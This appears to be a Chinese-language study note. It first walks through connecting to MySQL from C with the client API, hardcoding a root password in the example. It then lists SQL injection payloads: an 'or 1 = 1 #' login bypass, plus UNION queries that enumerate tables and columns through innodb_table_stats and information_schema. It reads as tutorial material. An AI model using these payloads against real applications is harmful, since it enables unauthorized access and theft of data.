连接数据库

1. 初始化 `MYSQL` 结构体：使用 `mysql_init` 函数初始化 `MYSQL` 结构体。

```
MYSQL * pmysql = mysql_init(NULL);
```

2. 连接数据库：使用 `mysql_real_connect` 函数连接到数据库。

```
if (mysql_real_connect(pmysql, "localhost", "root", "123456", "test", 3306, NULL,
0) == NULL) {
    printf("Error connecting to database: %s\n", mysql_error(pmysql));
    mysql_close(pmysql);
    return 1;
}
```

3. 执行SQL语句：使用 `mysql_query` 函数执行 SQL 语句。

```
if (mysql_query(pmysql, "SELECT * FROM users")) {
    printf("Error making query: %s\n", mysql_error(pmysql));
    mysql_close(pmysql);
    return 1;
}
```

4. 获取结果：使用 `mysql_store_result` 函数获取查询结果，并使用 `mysql_fetch_row` 函数逐行获取结果。

```
MYSQL_RES * result = mysql_store_result(pmysql);
if (result == NULL) {
    printf("Error getting result: %s\n", mysql_error(pmysql));
    mysql_close(pmysql);
    return 1;
}

MYSQL_ROW row;
while ((row = mysql_fetch_row(result))!= NULL) {
    printf("%s %s\n", row[0], row[1]);
}
```

5. 释放资源：使用 `mysql_free_result` 函数释放查询结果，使用 `mysql_close` 函数关闭数据库连接。

```
mysql_free_result(result);
mysql_close(pmysql);
```

6. 处理错误：使用 `mysql_error` 函数获取错误信息。

sql注入

- 注入的方式有很多种，比如：
  - 输入用户名时，输入 `admin' or 1 = 1 #`，即可绕过登录验证。
  - 在查询语句时添加 `or 1 = 1 select * from users`，即可查询出所有用户信息。
  - 利用 `select` 语句多条件查询，在查询语句添加 `or 1 = 1`，即可查询出所有记录信息。`mysql.innodb_table_stats` 记录了数据库中所有表的统计信息，包括表名、行数、索引大小等。

```
# 拿到表名
select * from `表名` where id = 1 or 1 = 1 union select * from innodb_table_stats;
```

`information_schema.COLUMNS` 记录了数据库中所有表的列信息，包括列名、列类型、列长度等。

```
select * from `表名` where id = 1 or 1 = 1 union select TABLE_CATALOG,
table_schema, table_name, column_name, ordinal_position, column_default from
information_schema.COLUMNS where table_name = '表名';
```